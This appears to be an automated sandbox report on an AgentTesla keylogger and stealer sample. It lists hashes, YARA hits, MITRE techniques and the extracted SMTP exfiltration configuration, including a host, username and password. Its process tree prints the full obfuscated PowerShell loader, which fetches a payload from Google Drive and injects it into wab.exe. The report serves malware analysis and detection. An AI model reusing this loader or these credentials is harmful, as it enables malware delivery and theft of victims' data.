agenttesla | 73d41e6765a44bba2ad12ea9bfa052ffd5366e73c9355675439c2aa240a33efb

General

Target

73d41e6765a44bba2ad12ea9bfa052ffd5366e73c9355675439c2aa240a33efb.vbs
Size

166KB
MD5

f62a2d1490e32ee4ad577ebdd45cd1c4
SHA1

9df72109bfd7e46363d43ecd57532d4b938d2afa
SHA256

73d41e6765a44bba2ad12ea9bfa052ffd5366e73c9355675439c2aa240a33efb
SHA512

3ede7e4ea379c38e84c6dfe30ee2a82cc08f54ee92386ffa69092907c792155bd88521689384a4dd940869cfa22c8dea5e3cf3c103fa48e5407d762b5451812d
SSDEEP

3072:sA4yENVBkYr4LhpVXpKnupn8kH3DPbkhZi3eNRtt2OY37bZtwbS0L3gFgCiah4eP:sA4yENVOY0NpVXpK68kH3DPbkhZi3eN+

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.tecniseal.es
Port:
587
Username:
[email protected]
Password:
12348*tecniseal
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs

resource	yara_rule
behavioral1/memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs

resource	yara_rule
behavioral1/memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral1/memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral1/memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral1/memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral1/memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2912	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
10	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2304	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2356	powershell.exe
2304	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2356 set thread context of 2304	2356	powershell.exe	34

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2548	powershell.exe
2356	powershell.exe
2356	powershell.exe
2304	wab.exe
2304	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2304	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 2548	2912	WScript.exe	28
PID 2912 wrote to memory of 2548	2912	WScript.exe	28
PID 2912 wrote to memory of 2548	2912	WScript.exe	28
PID 2548 wrote to memory of 2864	2548	powershell.exe	30
PID 2548 wrote to memory of 2864	2548	powershell.exe	30
PID 2548 wrote to memory of 2864	2548	powershell.exe	30
PID 2548 wrote to memory of 2356	2548	powershell.exe	32
PID 2548 wrote to memory of 2356	2548	powershell.exe	32
PID 2548 wrote to memory of 2356	2548	powershell.exe	32
PID 2548 wrote to memory of 2356	2548	powershell.exe	32
PID 2356 wrote to memory of 3040	2356	powershell.exe	33
PID 2356 wrote to memory of 3040	2356	powershell.exe	33
PID 2356 wrote to memory of 3040	2356	powershell.exe	33
PID 2356 wrote to memory of 3040	2356	powershell.exe	33
PID 2356 wrote to memory of 2304	2356	powershell.exe	34
PID 2356 wrote to memory of 2304	2356	powershell.exe	34
PID 2356 wrote to memory of 2304	2356	powershell.exe	34
PID 2356 wrote to memory of 2304	2356	powershell.exe	34
PID 2356 wrote to memory of 2304	2356	powershell.exe	34
PID 2356 wrote to memory of 2304	2356	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\73d41e6765a44bba2ad12ea9bfa052ffd5366e73c9355675439c2aa240a33efb.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Stmagter Nyttiggrelsens Dipus Dissoluteness Feedstuffs #>;$Talomraadets=(cmd /c set /A 115^^0);Function Partied ([String]$Eggwhisk){$Talomraadets=[char][int]$Talomraadets;$Terrorgruppens=$Talomraadets+'ubstring';$Forsinkendeterminism=8;$Boot=Diachoresis($Eggwhisk);For($Forsinke=7; $Forsinke -lt $Boot; $Forsinke+=$Forsinkendeterminism){$Vekslerne188=$Eggwhisk.$Terrorgruppens.Invoke($Forsinke, 1);$Bedriftvrn=$Bedriftvrn+$Vekslerne188;}$Bedriftvrn;}function Gestational ($mikaellas){& ($Hennings) ($mikaellas);}function Diachoresis ([String]$Hyldebuske){$Nonrepentant=$Hyldebuske.Length-1;$Nonrepentant;}$Mlke=Partied 'Jaw.oneTPelodytrGammoneaBattolonInspirasGeohydrfGldsatte NonethrClib.ter Gu.fadiSalloosnImbecilgFaresti ';$Disinhumed15=Partied 'Spraydah,rklggetSeri.litLivsforpMusikgrsTromm,d:Neu ata/Reorien/ Rgended Ptinidr Shel,biRusten vStareneeBissekr.Skndeg,gSomreneop,ppetioingefrsgAneu.yslHi.torie.uriosa.Mexicanc d,famooNeurotimPe,isko/ Udmu du KlbnincOuagado? Masss,eSkagendx Bol.gspSyndigeoKlapsalrFibrinotHalvkon=unforgedFarvefooOniscoiwTai asinPa,hitsl EnterooLoniasla dug.erdDeacety& Libelli SpinatdTroph s=Fllesmd1Cirkulr-Psychopb S.ttlejunsneckjDidaktiKTrago ap aninsp_Ringfo aRadernacKuttacho Toa.riGRteblomJSp.ensf7WawahscLStubborNHalvkugoProv soD ForlngBPegmativ Personh Op aveXSort,le0Heteroz_kastepi_OpskoliQLecy.hitAfbuddejLumsktb6Fa seei3RiberskqNdringsHSubimbrPComput. ';$Hennings=Partied ' PseudoiAdoxyste oksenuxLaertes ';$Prorevolutionist=Partied 'Operati$ExaggergFrustralBeknighoFervorsbM.sombaaKold,stlSkraata:S alopsGKosotoxlendossedHaemange ,ecounl IndledaBrugerlmProgramp OsteoeeKizziedrBukk.bl Mini.nf=skdeski Krimin,S bulbidt Hitteta CrossbrLi,fabrt Leelan-Flosk.lBBinomi,iHunga it aktregsManteauTT.dsaanr Gonorea Indul,nJournalsAlalongfBezettaeBrnd,unrM.ndets Regnest- MimrerSIcari noAspergeuCe,iumpr HencefcSniffereRetvens Skjo,te$InstrukDHeelgr i AllatisHalfbaciOstensinBrnelrdhSuccessu Jagerim aer,lieKatachrdExoskel1Fimbril5st.lren funktio- redoubDB,nkeroeJagere.s Erend.t.ortrngidokumennUhildetaUdmejsltC eckidiSprnghooSoldiernR ehale Wank.l$NaturfrCSkyd.sko PovertpPendulaaF,lendelFlutistcHagarenhR olpljeUddunst ';Gestational (Partied ',etnkni$UdpumpngGennemslUdgaaenoQuirin,bDumhedea Unper.lThiobac: tricksCOd.coiloMislocapOpian.paUddat blUntolercStuelejh ,annereBan ura= Dsriru$Istidb.eIndkastnWheeplevBuksb.m:Overhera Piqu.opPlum etpDismayedSid effamaltendtTryksvrastoiker ') ;Gestational (Partied 'UnnominIAgiotagmSempe,gpSelvfleoHestetrrskummettHalvdel- StrmstMT,arismoSest,ordSelvejeuStats.flfjernkeeobturat Bruger.B bagindiLeucob t Lgged sSkovh,gTDethyror.yableaa TilretnKurtagesId latefCurrenceMot,onerL.ndski ') ;$Copalche=$Copalche+'\Licentiatens.abd' ;Gestational (Partied 'Rubr.ka$GodvillgSystemaldow ieroP.ocomeb Omdbe.aAdd spllSchmalz:I.verteK TweakyusmiteunfFokkenefNaturpaeSgekommrBoigidstKvadrateAsce,tarSkimmelnRibonuceA bumin=Sowensi(FaderskTTestdateStraffes BlackftPin.ati- FruitwPVinduesa tokompt opsparhFacades Barnesd$cirkataCDiadoc.oForskelpPodophta Pr.gmalsigtelicDuelinghsomaliaePreperu) Oliebi ') ;while (-not $Kufferterne) {Gestational (Partied 'ProrumpIB,ngholf Casket U chimn( Blrend$ Omkos GReinstilKallipadSkoann eLutheralSvi egaaDipaschmDarktowp Skummee lochiorManuale. SennepJ A tireoLongshibLeksikoSPolitiitSerpe,ta Valgkat RazedmeStrgne Spasti-udsk ive.ecisioqInd,vis ,tatuse$FlyvernMLyc.penlHarbourkOversa.eStacher)Termina ,ektora{Strand,Sturmoi,tBlsevejaReheatirSetscretChoocho-StudiesSU.sideilFrejasse Hepatie.koleoppDobbel Unisext1Tan,ani}VaareneeKoks,ralNonsanes Outrane U.pant{V,gerfoSUdfrelstLobbyisaFreespsr Mis.ritTouched-AtmosphS DummyelParagogeKorrekte Theocrp Fever tuskets1 Famili;Forvek,GMakropaeBevgetjs.kridnitFroglanaStyrofotBeskaefiHjfjeldo Cucu.lnPneumotaDisa sulLittend Demente$nob,liaPPrioritrNemmesfo nonabsrBreakoveFartjervManqu,poGamo aml Reklamu C,rtiftCarteliiNvningeoNaturisn Ja.obsiOutdoorsup,eepitChurc.w} Br,nsl ');Gestational (Partied 'Blindte$Erhv,rvgNonsenslTur.ifooDicar.ob Siz.bla GeniallOpvk,ed:SorbitoKTuttlesuEmpti mfUnsecurf ichoraeFugemasr XylogltrdbrunaeEmpow,rr Tab lan,rshajceKompak,=Eksiste( NjagtiT FjotteeVicari,sTekstuetKammera- BlitzpP Skids aBetal.ntYawphefhRationa Uman.r$DirkettCKommando,ivfuldpDesireaa icroslStagehac Mara,thCoryd,leParkome) Hotpla ') ;}Gestational (Partied 'Uophold$KarussegstartkalH,iriesoGe digtb.napprialandbrul fusio,:Ch,kotvDgrounday PaasatnDeuteroaDisput.mFrem,ntiAktualisLarki sk,ymbolieMiraklesMel.lon Un,erda=San.rin EgetraeGIndankeeMeritoctPapyr,l-LeveomkCMisbillo TamarangenbrugtknoglemeEmmitlen,usvantt Tiltvi Siddemb$PlecotiC At endoClemminpKlinkeraHu dasclUdstyktcArsenobhLipogeneTusinds ');Gestational (Partied 'spoergs$HresvorgTerminslLovfsteoGlittefbunseculaEskimollEpihyal:Ur teroTTila.nae UrtepotSeneskerEnricotaFa ilitcMous.acaAeri,sarSphenoibBordfylohiernesxLitanibyepitaphlAghaforaHavbioltB.aavale Segmen O erdn=Maneu,e cargoli[IbrugtaSPatruljyIndignas tungodtLedningeNamnamsm estsj. ,elodiCStavesvoHy,ridmnTasteabv ailorieUnpro.trSomatoptPhyllop]Limbmea: m,ndre:,onsierF AtomizrSkyldssoInfernamSignaleBDyadpo,aToejetssSixte,neSt.dent6Avisudk4Torsi,nSIndsukrt OrdruprNomogeniGloberrn X.rogrgKosmisk(Lyknske$PulsoveDPrexiesy Isbaadnnonth,oaSuperfemSejled,iBecow,rsPoth rskbikarboeInhiatesBordeau)Afskums ');Gestational (Partied 'Littera$BourbakgR,tardalViolw,aoUnpanegbUdtryksaDomfldelCharmeu:U,decocgNacaratoA,tringnHert,ge Overem= Fac,ns Eneforh[ SyphilSPronginyBoningesFluevg,tHgrnot.e Nondi.mPursuan..achytrTPsykopaeUddendexHospitatWallflo.Radioa,EDokumennCachryscPrediscoBlaekkedvektorfiArriccin Al ohogPrimave] Femhun:Feltben:HydromyAOverdilS ,mbarrCCrocketITroubadIDa astr.A.trersG heapereBr.ehavtTintninSDristettFerromerByggeleiOutbattn Nomineg.krtejg( C.eese$yngelsoTMinidrae reservtFerroglrAarersea Moveabcnod saraguslashrApt.flebDumfounoCalmatoxPladeovyTrev erl Unv lcaUnshnestnich liePoplema)Filmsku ');Gestational (Partied 'Colorfu$ Forsa g EuforilSauropsoEnwr,ppbCoachaba unstklunlayin:LissencPNarcobaatradit.s AfskedspoisonoiAmu,emev alvaniDelarbesTherodoeBuffeterolympiae abriknDanismedHebraiceRejsefr=B,tiksl$BetonrkgunordinoLavandunAri,met.da.edetsDisacchuAn.varsbverden.s BekingtTinchilrcirstofiCa.diacn ,heckkgSkolesk( Johnny3.sychia4 Sasine1 Robl.n8l,sskaa1 Unhomo8Alabast,Varleta3,okokia1Bortfje2 .loodh2Genbrug2Venskab)Beaumea ');Gestational $Passiviserende;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c set /A 115^^0
    3⤵
    PID:2864
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Stmagter Nyttiggrelsens Dipus Dissoluteness Feedstuffs #>;$Talomraadets=(cmd /c set /A 115^^0);Function Partied ([String]$Eggwhisk){$Talomraadets=[char][int]$Talomraadets;$Terrorgruppens=$Talomraadets+'ubstring';$Forsinkendeterminism=8;$Boot=Diachoresis($Eggwhisk);For($Forsinke=7; $Forsinke -lt $Boot; $Forsinke+=$Forsinkendeterminism){$Vekslerne188=$Eggwhisk.$Terrorgruppens.Invoke($Forsinke, 1);$Bedriftvrn=$Bedriftvrn+$Vekslerne188;}$Bedriftvrn;}function Gestational ($mikaellas){& ($Hennings) ($mikaellas);}function Diachoresis ([String]$Hyldebuske){$Nonrepentant=$Hyldebuske.Length-1;$Nonrepentant;}$Mlke=Partied 'Jaw.oneTPelodytrGammoneaBattolonInspirasGeohydrfGldsatte NonethrClib.ter Gu.fadiSalloosnImbecilgFaresti ';$Disinhumed15=Partied 'Spraydah,rklggetSeri.litLivsforpMusikgrsTromm,d:Neu ata/Reorien/ Rgended Ptinidr Shel,biRusten vStareneeBissekr.Skndeg,gSomreneop,ppetioingefrsgAneu.yslHi.torie.uriosa.Mexicanc d,famooNeurotimPe,isko/ Udmu du KlbnincOuagado? Masss,eSkagendx Bol.gspSyndigeoKlapsalrFibrinotHalvkon=unforgedFarvefooOniscoiwTai asinPa,hitsl EnterooLoniasla dug.erdDeacety& Libelli SpinatdTroph s=Fllesmd1Cirkulr-Psychopb S.ttlejunsneckjDidaktiKTrago ap aninsp_Ringfo aRadernacKuttacho Toa.riGRteblomJSp.ensf7WawahscLStubborNHalvkugoProv soD ForlngBPegmativ Personh Op aveXSort,le0Heteroz_kastepi_OpskoliQLecy.hitAfbuddejLumsktb6Fa seei3RiberskqNdringsHSubimbrPComput. ';$Hennings=Partied ' PseudoiAdoxyste oksenuxLaertes ';$Prorevolutionist=Partied 'Operati$ExaggergFrustralBeknighoFervorsbM.sombaaKold,stlSkraata:S alopsGKosotoxlendossedHaemange ,ecounl IndledaBrugerlmProgramp OsteoeeKizziedrBukk.bl Mini.nf=skdeski Krimin,S bulbidt Hitteta CrossbrLi,fabrt Leelan-Flosk.lBBinomi,iHunga it aktregsManteauTT.dsaanr Gonorea Indul,nJournalsAlalongfBezettaeBrnd,unrM.ndets Regnest- MimrerSIcari noAspergeuCe,iumpr HencefcSniffereRetvens Skjo,te$InstrukDHeelgr i AllatisHalfbaciOstensinBrnelrdhSuccessu Jagerim aer,lieKatachrdExoskel1Fimbril5st.lren funktio- redoubDB,nkeroeJagere.s Erend.t.ortrngidokumennUhildetaUdmejsltC eckidiSprnghooSoldiernR ehale Wank.l$NaturfrCSkyd.sko PovertpPendulaaF,lendelFlutistcHagarenhR olpljeUddunst ';Gestational (Partied ',etnkni$UdpumpngGennemslUdgaaenoQuirin,bDumhedea Unper.lThiobac: tricksCOd.coiloMislocapOpian.paUddat blUntolercStuelejh ,annereBan ura= Dsriru$Istidb.eIndkastnWheeplevBuksb.m:Overhera Piqu.opPlum etpDismayedSid effamaltendtTryksvrastoiker ') ;Gestational (Partied 'UnnominIAgiotagmSempe,gpSelvfleoHestetrrskummettHalvdel- StrmstMT,arismoSest,ordSelvejeuStats.flfjernkeeobturat Bruger.B bagindiLeucob t Lgged sSkovh,gTDethyror.yableaa TilretnKurtagesId latefCurrenceMot,onerL.ndski ') ;$Copalche=$Copalche+'\Licentiatens.abd' ;Gestational (Partied 'Rubr.ka$GodvillgSystemaldow ieroP.ocomeb Omdbe.aAdd spllSchmalz:I.verteK TweakyusmiteunfFokkenefNaturpaeSgekommrBoigidstKvadrateAsce,tarSkimmelnRibonuceA bumin=Sowensi(FaderskTTestdateStraffes BlackftPin.ati- FruitwPVinduesa tokompt opsparhFacades Barnesd$cirkataCDiadoc.oForskelpPodophta Pr.gmalsigtelicDuelinghsomaliaePreperu) Oliebi ') ;while (-not $Kufferterne) {Gestational (Partied 'ProrumpIB,ngholf Casket U chimn( Blrend$ Omkos GReinstilKallipadSkoann eLutheralSvi egaaDipaschmDarktowp Skummee lochiorManuale. SennepJ A tireoLongshibLeksikoSPolitiitSerpe,ta Valgkat RazedmeStrgne Spasti-udsk ive.ecisioqInd,vis ,tatuse$FlyvernMLyc.penlHarbourkOversa.eStacher)Termina ,ektora{Strand,Sturmoi,tBlsevejaReheatirSetscretChoocho-StudiesSU.sideilFrejasse Hepatie.koleoppDobbel Unisext1Tan,ani}VaareneeKoks,ralNonsanes Outrane U.pant{V,gerfoSUdfrelstLobbyisaFreespsr Mis.ritTouched-AtmosphS DummyelParagogeKorrekte Theocrp Fever tuskets1 Famili;Forvek,GMakropaeBevgetjs.kridnitFroglanaStyrofotBeskaefiHjfjeldo Cucu.lnPneumotaDisa sulLittend Demente$nob,liaPPrioritrNemmesfo nonabsrBreakoveFartjervManqu,poGamo aml Reklamu C,rtiftCarteliiNvningeoNaturisn Ja.obsiOutdoorsup,eepitChurc.w} Br,nsl ');Gestational (Partied 'Blindte$Erhv,rvgNonsenslTur.ifooDicar.ob Siz.bla GeniallOpvk,ed:SorbitoKTuttlesuEmpti mfUnsecurf ichoraeFugemasr XylogltrdbrunaeEmpow,rr Tab lan,rshajceKompak,=Eksiste( NjagtiT FjotteeVicari,sTekstuetKammera- BlitzpP Skids aBetal.ntYawphefhRationa Uman.r$DirkettCKommando,ivfuldpDesireaa icroslStagehac Mara,thCoryd,leParkome) Hotpla ') ;}Gestational (Partied 'Uophold$KarussegstartkalH,iriesoGe digtb.napprialandbrul fusio,:Ch,kotvDgrounday PaasatnDeuteroaDisput.mFrem,ntiAktualisLarki sk,ymbolieMiraklesMel.lon Un,erda=San.rin EgetraeGIndankeeMeritoctPapyr,l-LeveomkCMisbillo TamarangenbrugtknoglemeEmmitlen,usvantt Tiltvi Siddemb$PlecotiC At endoClemminpKlinkeraHu dasclUdstyktcArsenobhLipogeneTusinds ');Gestational (Partied 'spoergs$HresvorgTerminslLovfsteoGlittefbunseculaEskimollEpihyal:Ur teroTTila.nae UrtepotSeneskerEnricotaFa ilitcMous.acaAeri,sarSphenoibBordfylohiernesxLitanibyepitaphlAghaforaHavbioltB.aavale Segmen O erdn=Maneu,e cargoli[IbrugtaSPatruljyIndignas tungodtLedningeNamnamsm estsj. ,elodiCStavesvoHy,ridmnTasteabv ailorieUnpro.trSomatoptPhyllop]Limbmea: m,ndre:,onsierF AtomizrSkyldssoInfernamSignaleBDyadpo,aToejetssSixte,neSt.dent6Avisudk4Torsi,nSIndsukrt OrdruprNomogeniGloberrn X.rogrgKosmisk(Lyknske$PulsoveDPrexiesy Isbaadnnonth,oaSuperfemSejled,iBecow,rsPoth rskbikarboeInhiatesBordeau)Afskums ');Gestational (Partied 'Littera$BourbakgR,tardalViolw,aoUnpanegbUdtryksaDomfldelCharmeu:U,decocgNacaratoA,tringnHert,ge Overem= Fac,ns Eneforh[ SyphilSPronginyBoningesFluevg,tHgrnot.e Nondi.mPursuan..achytrTPsykopaeUddendexHospitatWallflo.Radioa,EDokumennCachryscPrediscoBlaekkedvektorfiArriccin Al ohogPrimave] Femhun:Feltben:HydromyAOverdilS ,mbarrCCrocketITroubadIDa astr.A.trersG heapereBr.ehavtTintninSDristettFerromerByggeleiOutbattn Nomineg.krtejg( C.eese$yngelsoTMinidrae reservtFerroglrAarersea Moveabcnod saraguslashrApt.flebDumfounoCalmatoxPladeovyTrev erl Unv lcaUnshnestnich liePoplema)Filmsku ');Gestational (Partied 'Colorfu$ Forsa g EuforilSauropsoEnwr,ppbCoachaba unstklunlayin:LissencPNarcobaatradit.s AfskedspoisonoiAmu,emev alvaniDelarbesTherodoeBuffeterolympiae abriknDanismedHebraiceRejsefr=B,tiksl$BetonrkgunordinoLavandunAri,met.da.edetsDisacchuAn.varsbverden.s BekingtTinchilrcirstofiCa.diacn ,heckkgSkolesk( Johnny3.sychia4 Sasine1 Robl.n8l,sskaa1 Unhomo8Alabast,Varleta3,okokia1Bortfje2 .loodh2Genbrug2Venskab)Beaumea ');Gestational $Passiviserende;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c set /A 115^^0
      4⤵
      PID:3040
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
610e8f6f740ed0cb7c8fdaa187407ef8

SHA1
f1ba1c648147e184913002f86a835ba04aeb1c3a

SHA256
c49b5185d84f4dd0a309f1e60eda80a2c11195c60328bc5369fc83dc77efcb5a

SHA512
9feac8319bc3e79c3693f906ed069565e61158579f521d5689c2fb8fa7a14e4683070523387a3308002d303c3eff4e180e602682edf905cf2022571625caca18

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a2da676836290a551fc8d55a02f092bc

SHA1
a8abe38bd6ec4c2fb5d92431d02713eab4acb032

SHA256
eeabc302cf216505143b2fc3b5f0c311fde8a9bbd8520466ea438800001b7537

SHA512
bfceb0c4c225a21193cc041e62d9b4dc3a7a072fb8fce3e5cd466ef2768b0002f6857dba7bf819395e4447024a79657295ab319d30cdd9799e6dae5b641502a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab2AC8.tmp

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar909D.tmp

Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZL105AWY05MQ7UK3QFKO.temp

Filesize
7KB

MD5
795d2551fa9d4e42208463759cda234f

SHA1
da0744a8a1aaaff85672cdd6b0db7c4a281a7290

SHA256
9a6dfb22d32867fc7af96d744cc58fdd31abae93ec7332591ce9be771a317b3a

SHA512
ad3fd32eb204a7090eeb6ee5c4cc26717374c62d67cc8b151c42b32511be40bd5d49dc0129ea8178d934c832118af5652bbb1318c9c5aed30122cdd1fab78b30

Download Submit
memory/2304-86-0x0000000000790000-0x00000000007D0000-memory.dmp

Filesize
256KB

Download
memory/2304-83-0x0000000000790000-0x00000000017F2000-memory.dmp

Filesize
16.4MB

Download
memory/2304-87-0x0000000072840000-0x0000000072F2E000-memory.dmp

Filesize
6.9MB

Download
memory/2304-61-0x0000000077220000-0x00000000772F6000-memory.dmp

Filesize
856KB

Download
memory/2304-60-0x0000000077256000-0x0000000077257000-memory.dmp

Filesize
4KB

Download
memory/2304-59-0x0000000077030000-0x00000000771D9000-memory.dmp

Filesize
1.7MB

Download
memory/2304-90-0x0000000072840000-0x0000000072F2E000-memory.dmp

Filesize
6.9MB

Download
memory/2356-35-0x0000000073070000-0x000000007361B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-34-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2356-36-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2356-55-0x0000000077030000-0x00000000771D9000-memory.dmp

Filesize
1.7MB

Download
memory/2356-33-0x0000000073070000-0x000000007361B000-memory.dmp

Filesize
5.7MB

Download
memory/2356-48-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2356-58-0x0000000077220000-0x00000000772F6000-memory.dmp

Filesize
856KB

Download
memory/2356-51-0x00000000061D0000-0x00000000061D1000-memory.dmp

Filesize
4KB

Download
memory/2356-50-0x0000000006B90000-0x0000000009F58000-memory.dmp

Filesize
51.8MB

Download
memory/2356-57-0x00000000028E0000-0x0000000002920000-memory.dmp

Filesize
256KB

Download
memory/2356-56-0x0000000073070000-0x000000007361B000-memory.dmp

Filesize
5.7MB

Download
memory/2548-30-0x000000001BD30000-0x000000001BD42000-memory.dmp

Filesize
72KB

Download
memory/2548-54-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-53-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-52-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-49-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-22-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2548-29-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-28-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-26-0x000000001BC80000-0x000000001BCA2000-memory.dmp

Filesize
136KB

Download
memory/2548-27-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-25-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-85-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-24-0x0000000002D20000-0x0000000002DA0000-memory.dmp

Filesize
512KB

Download
memory/2548-23-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-21-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing